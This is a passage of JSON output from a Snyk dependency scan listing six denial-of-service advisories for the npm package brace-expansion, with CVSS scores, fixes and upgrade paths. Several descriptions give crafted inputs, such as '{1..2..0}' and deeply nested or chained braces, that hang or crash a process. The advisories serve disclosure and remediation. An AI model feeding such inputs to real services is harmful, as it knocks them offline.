"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
